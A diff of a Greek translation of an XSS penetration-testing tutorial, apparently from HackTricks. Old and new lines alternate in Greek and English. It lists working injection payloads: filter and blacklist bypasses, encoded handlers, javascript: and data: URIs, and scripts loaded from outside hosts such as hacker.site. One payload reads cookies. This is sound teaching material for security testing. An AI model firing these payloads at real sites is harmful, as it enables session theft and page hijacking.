Αν δεν βρήκατε κανένα έγκυρο HTML tag, μπορείτε να δοκιμάσετε να **δημιουργήσετε ένα custom tag** και να εκτελέσετε JS code με το `onfocus` attribute. Στο XSS request, χρειάζεται να τελειώσετε το URL με `#` για να κάνετε την σελίδα να **focus on that object** και να **execute** τον κώδικα:
|
||||
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Αν χρησιμοποιείται κάποιος τύπος blacklist, μπορείς να προσπαθήσεις να τον bypass με μερικά χαζά κόλπα:
|
||||
Αν χρησιμοποιείται κάποιο είδος blacklist, μπορείς να προσπαθήσεις να το bypass με μερικά αστεία κόλπα:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -234,36 +234,36 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### Παράκαμψη μήκους (small XSSs)
|
||||
|
||||
> [!NOTE] > **Περισσότερα tiny XSS για διαφορετικά περιβάλλοντα** payload [**μπορούν να βρεθούν εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Περισσότερα μικρά XSS payloads για διαφορετικά περιβάλλοντα** [**μπορούν να βρεθούν εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
Περισσότεροι από αυτούς τους χαρακτήρες μπορούν να βρεθούν [here](https://www.unicode.org/charts/normalization/).\
|
||||
Για να ελέγξετε σε ποιους χαρακτήρες αποσυντίθενται δείτε [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Το τελευταίο χρησιμοποιεί 2 χαρακτήρες unicode που επεκτείνονται σε 5: telsr\
|
||||
Μπορείτε να βρείτε περισσότερους από αυτούς τους χαρακτήρες [here](https://www.unicode.org/charts/normalization/).\
|
||||
Για να ελέγξετε σε ποιους χαρακτήρες αποσυντίθεται, δείτε [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Αν, για να εκμεταλλευτείτε την ευπάθεια, χρειάζεται ο **user to click a link or a form** με προ-συμπληρωμένα δεδομένα, μπορείτε να δοκιμάσετε να [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάλωτη).
|
||||
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||||
|
||||
### Αδύνατο - Dangling Markup
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Αν απλά νομίζετε ότι **it's impossible to create an HTML tag with an attribute to execute JS code**, θα πρέπει να ελέγξετε [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) γιατί θα μπορούσατε να **exploit** την ευπάθεια **χωρίς** να εκτελέσετε **JS** code.
|
||||
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because you could **exploit** the vulnerability **without** executing **JS** code.
|
||||
|
||||
## Ενέγχυση μέσα σε HTML tag
|
||||
## Εισαγωγή μέσα σε HTML tag
|
||||
|
||||
### Μέσα στο tag/escaping from attribute value
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Αν βρίσκεστε **inside a HTML tag**, το πρώτο που μπορείτε να δοκιμάσετε είναι να **escape** από το tag και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [previous section](#injecting-inside-raw-html) για να εκτελέσετε JS code.\
|
||||
Αν **cannot escape from the tag**, μπορείτε να δημιουργήσετε νέα attributes μέσα στο tag για να προσπαθήσετε να εκτελέσετε JS code, για παράδειγμα χρησιμοποιώντας κάποιο payload σαν το παρακάτω (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](#injecting-inside-raw-html) to execute JS code.\
|
||||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
**Γεγονότα στυλ**
|
||||
**Συμβάντα στυλ**
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
@ -273,14 +273,14 @@ The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Μέσα στο attribute
|
||||
### Μέσα στο χαρακτηριστικό
|
||||
|
||||
Ακόμη και αν **δεν μπορείτε να διαφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο attribute** αντανακλά την τιμή σας και **εάν ελέγχετε όλη την τιμή ή μόνο ένα μέρος**, θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελέσει arbitrary code όταν γίνει κλικ.\
|
||||
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το `javascript:` πρωτόκολλο για να εκτελέσετε arbitrary code: **`href="javascript:alert(1)"`**
|
||||
Ακόμη κι αν **δεν μπορείτε να ξεφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **σε ποιο attribute** αντανακλάται η τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
|
||||
Ένα ακόμη ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Παράκαμψη μέσα στο event χρησιμοποιώντας HTML encoding/URL encode**
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
|
||||
Οι **HTML encoded characters** μέσα στην τιμή των attributes των HTML tags **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Οι **HTML encoded χαρακτήρες** μέσα στην τιμή των attributes των HTML tags **αποκωδικοποιούνται κατά το runtime**. Επομένως κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Σημειώστε ότι **οποιοσδήποτε τύπος HTML encode είναι έγκυρος**:
|
||||
```javascript
|
||||
@ -303,15 +303,15 @@ The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Παράκαμψη μέσα σε event χρησιμοποιώντας Unicode encode**
|
||||
**Bypass μέσα σε event χρησιμοποιώντας Unicode encode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Ειδικά πρωτόκολλα μέσα στο attribute
|
||||
### Ειδικά πρωτόκολλα μέσα στην ιδιότητα
|
||||
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε μερικά σημεία για να **εκτελέσετε αυθαίρετο κώδικα JS**. Κάποια θα απαιτήσουν αλληλεπίδραση χρήστη, ενώ κάποια όχι.
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα σημεία για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτήσουν αλληλεπίδραση χρήστη, άλλα όχι.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
|
||||
**Μέρη όπου μπορείτε να εισαγάγετε αυτά τα πρωτόκολλα**
|
||||
|
||||
**Γενικά** το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute `href`** και σε **τα περισσότερα** από τα tag που δέχονται το **attribute `src`** (αλλά όχι `<img`)
|
||||
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute `href`** και σε **τα περισσότερα** από τα tags που δέχονται το **attribute `src`** (αλλά όχι `<img>`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Άλλες τεχνικές συγκαλυψής**
|
||||
**Άλλα τεχνάσματα απόκρυψης**
|
||||
|
||||
_**Σε αυτήν την περίπτωση, η HTML κωδικοποίηση και η Unicode κωδικοποίηση από την προηγούμενη ενότητα είναι επίσης έγκυρες, καθώς βρίσκεστε μέσα σε ένα attribute.**_
|
||||
_**Σε αυτή την περίπτωση, το HTML encoding και το Unicode encoding trick από την προηγούμενη ενότητα είναι επίσης έγκυρα, καθώς βρίσκεστε μέσα σε ένα attribute.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Επιπλέον, υπάρχει ένα ακόμα **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν η είσοδός σου μέσα στο `javascript:...` είναι URL encoded, θα γίνει URL decoded πριν εκτελεστεί.** Οπότε, αν χρειαστεί να **escape** από το **string** χρησιμοποιώντας ένα **single quote** και βλέπεις ότι **it's being URL encoded**, να θυμάσαι ότι **δεν έχει σημασία,** θα **interpreted** ως **single quote** κατά τη διάρκεια της **execution** time.
|
||||
Επιπλέον, υπάρχει ένα ακόμη **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν το input σας μέσα στο `javascript:...` είναι URL encoded, θα γίνει URL decoded πριν εκτελεστεί.** Έτσι, αν χρειαστεί να **escape** από το **string** χρησιμοποιώντας ένα **single quote** και βλέπετε ότι **είναι URL encoded**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **single quote** κατά το χρόνο **εκτέλεσης**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **αναμίξετε τα μέσα στο payload**.
|
||||
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, αυτό **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
|
||||
|
||||
**Χρήση Hex και Octal encode με `javascript:`**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags to execute JS**:
|
||||
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags to execute JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,7 +385,7 @@ _**Σε αυτήν την περίπτωση, η HTML κωδικοποίηση
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** tag που περιέχει τα χαρακτηριστικά **`target="_blank" and rel="opener"`**, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
Αν μπορείς να εισάγεις οποιοδήποτε URL σε ένα αυθαίρετο **`<a href=`** tag που περιέχει τα attributes **`target="_blank" and rel="opener"`**, έλεγξε την **επόμενη σελίδα για να εκμεταλλευτείς αυτή τη συμπεριφορά**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -393,8 +393,7 @@ _**Σε αυτήν την περίπτωση, η HTML κωδικοποίηση
|
||||
|
||||
### Παράκαμψη on Event Handlers
|
||||
|
||||
Καταρχάς ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμα **"on" event handlers**.\
|
||||
Σε περίπτωση που υπάρχει κάποια blacklist που σας εμποδίζει να δημιουργήσετε αυτούς τους event handlers, μπορείτε να δοκιμάσετε τις ακόλουθες bypasses:
|
||||
Πρώτα, έλεγξε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμα **"on" event handlers**.\ Σε περίπτωση που υπάρχει κάποια blacklist που σε αποτρέπει από το να δημιουργήσεις αυτούς τους event handlers, μπορείς να δοκιμάσεις τις παρακάτω παρακάμψεις:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -409,14 +408,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS σε "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (hidden input, link, canonical, meta)
|
||||
|
||||
Από [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **τώρα είναι δυνατό να εκμεταλλευτείτε hidden inputs με:**
|
||||
Από [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **τώρα είναι δυνατό να γίνει κατάχρηση των hidden inputs με:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
Και στα **meta tags**:
|
||||
Και σε **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,37 +429,37 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Από [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload inside a hidden attribute**, εφόσον μπορείτε να **persuade** το **victim** να πατήσει τον **key combination**. Στον Firefox σε Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να ορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Εδώ είναι το vector:
|
||||
Από [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload inside a hidden attribute**, εφόσον μπορείτε να **πείσετε** το **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στον Firefox σε Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και σε OS X είναι **CTRL+ALT+X**. Μπορείτε να προσδιορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Εδώ είναι το vector:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Το XSS payload θα είναι κάτι σαν αυτό: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Παρακάμψεις Μαύρης Λίστας
|
||||
### Blacklist Bypasses
|
||||
|
||||
Έχουν ήδη εκτεθεί διάφορα κόλπα με τη χρήση διαφορετικής κωδικοποίησης μέσα σε αυτήν την ενότητα. Επιστρέψτε για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
|
||||
Έχουν ήδη παρουσιαστεί αρκετά κόλπα με τη χρήση διαφορετικής κωδικοποίησης μέσα σε αυτή την ενότητα. Επιστρέψτε για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
|
||||
|
||||
- **HTML κωδικοποίηση (HTML tags)**
|
||||
- **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος JS κώδικας):** `\u0061lert(1)`
|
||||
- **URL κωδικοποίηση**
|
||||
- **Hex και Octal κωδικοποίηση**
|
||||
- **data κωδικοποίηση**
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
- **URL encoding**
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**Παρακάμψεις για HTML tags και attributes**
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Διαβάστε τις [Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Παρακάμψεις για κώδικα JavaScript**
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Διαβάστε τη [λίστα παρακάμψεων JavaScript της επόμενης ενότητας](#javascript-bypass-blacklists-techniques).
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Αν βρείτε ένα **XSS σε ένα πολύ μικρό μέρος** του web που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα onmouseover element), μπορείτε να προσπαθήσετε να **τροποποιήσετε τον χώρο που καταλαμβάνει αυτό το στοιχείο** για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
|
||||
Αν βρήκατε ένα **XSS σε ένα πολύ μικρό μέρος** της σελίδας που απαιτεί κάποια μορφή αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα onmouseover element), μπορείτε να προσπαθήσετε να **τροποποιήσετε τον χώρο που καταλαμβάνει αυτό το στοιχείο** για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
|
||||
|
||||
Για παράδειγμα, θα μπορούσατε να προσθέσετε κάποια styling στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Για παράδειγμα, μπορείτε να προσθέσετε κάποια styling στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Αλλά, αν ο WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
|
||||
Αλλά, εάν το WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -468,27 +467,27 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμό μας και να τον φέρετε στη μορφή
|
||||
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμο και να τον φέρετε στη μορφή
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Αυτό το κόλπο προέρχεται από [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Εισαγωγή μέσα σε κώδικα JavaScript
|
||||
## Injecting inside JavaScript code
|
||||
|
||||
Σε αυτές τις περιπτώσεις, το **input** σας θα αντανακλάται μέσα στον κώδικα JS ενός `.js` αρχείου ή ανάμεσα σε `<script>...</script>` tags ή σε HTML events που μπορούν να εκτελέσουν JS κώδικα ή σε attributes που δέχονται το `javascript:` protocol.
|
||||
Σε αυτές τις περιπτώσεις η **input** σας θα αντανακλάται μέσα στον JS code ενός αρχείου `.js` ή ανάμεσα σε `<script>...</script>` tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS code ή σε attributes που αποδέχονται το πρωτόκολλο `javascript:`.
|
||||
|
||||
### Απόδραση του \<script> tag
|
||||
### Escaping \<script> tag
|
||||
|
||||
Αν ο κώδικάς σας εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>`, μπορείτε εύκολα να **αποδράσετε κλείνοντας την ετικέτα `<script>`**:
|
||||
Αν ο κώδικας σας εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>` μπορείτε εύκολα να **"ξεφύγετε" κλείνοντας το `<script>`** tag:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το απλό απόστροφο**. Αυτό συμβαίνει επειδή **η ανάλυση του HTML γίνεται πρώτα από το πρόγραμμα περιήγησης**, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση του JavaScript για να κατανοηθούν και να εκτελεστούν τα ενσωματωμένα scripts πραγματοποιείται μόνο κατόπιν.
|
||||
Σημείωσε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το μονό εισαγωγικό**. Αυτό συμβαίνει επειδή **HTML parsing is performed first by the browser**, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση του JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα scripts γίνεται μόνο αργότερα.
|
||||
|
||||
### Μέσα στον κώδικα JS
|
||||
|
||||
Αν τα `<>` φιλτράρονται, μπορείς παρ' όλα αυτά να **escape the string** στο σημείο όπου βρίσκεται το input σου και να **execute arbitrary JS**. Είναι σημαντικό να **fix JS syntax**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
|
||||
Αν τα `<>` φιλτράρονται μπορείς ακόμα να **ξεφύγεις από τη συμβολοσειρά** όπου βρίσκεται η είσοδός σου και να **εκτελέσεις αυθαίρετο JS**. Είναι σημαντικό να **διορθώσεις τη σύνταξη του JS**, γιατί αν υπάρχουν σφαλμάτα, ο κώδικας JS δεν θα εκτελεστεί:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -496,24 +495,25 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo σε ένα inline script), μπορείτε να τερματίσετε το string, να inject code και να repair τη σύνταξη ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός:
|
||||
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα παραθεματισμένο JavaScript string (π.χ., server-side echo σε ένα inline script), μπορείτε να τερματίσετε το string, να inject code και να επιδιορθώσετε το συντακτικό ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε JS string:
|
||||
Παράδειγμα μοτίβου URL όταν η ευάλωτη παράμετρος ανακλάται σε μια JS συμβολοσειρά:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
|
||||
Αυτό εκτελεί attacker JS χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν τα φίλτρα μπλοκάρουν keywords.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Για να κατασκευάσετε **συμβολοσειρές**, πέρα από τα μονά και διπλά quotes, το JS αποδέχεται επίσης **backticks** **` `` `** .\
|
||||
Αυτό είναι γνωστό ως template literals καθώς επιτρέπει την **ενσωμάτωση JS εκφράσεων** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Επομένως, αν διαπιστώσετε ότι η είσοδός σας γίνεται **reflected** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
|
||||
Για να κατασκευάσετε **strings**, εκτός από single και double quotes, το JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals, καθώς επιτρέπουν **embedded JS expressions** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Επομένως, αν δείτε ότι το input σας είναι **reflected** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
|
||||
|
||||
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -525,7 +525,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Κωδικοποιημένη εκτέλεση κώδικα
|
||||
### Εκτέλεση κωδικοποιημένου code
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -534,12 +534,12 @@ loop``
|
||||
```
|
||||
#### Παραδοτέα payloads με eval(atob()) και αποχρώσεις του scope
|
||||
|
||||
Για να κρατήσετε τα URLs πιο σύντομα και να παρακάμψετε απλούς φίλτρους λέξεων-κλειδιών, μπορείτε να κωδικοποιήσετε την πραγματική σας λογική σε base64 και να την εκτελέσετε με `eval(atob('...'))`. Αν απλό φιλτράρισμα λέξεων-κλειδιών μπλοκάρει αναγνωριστικά όπως `alert`, `eval` ή `atob`, χρησιμοποιήστε Unicode-escaped αναγνωριστικά που μεταγλωττίζονται ακριβώς το ίδιο στον browser αλλά παρακάμπτουν φίλτρα αντιστοίχισης συμβολοσειρών:
|
||||
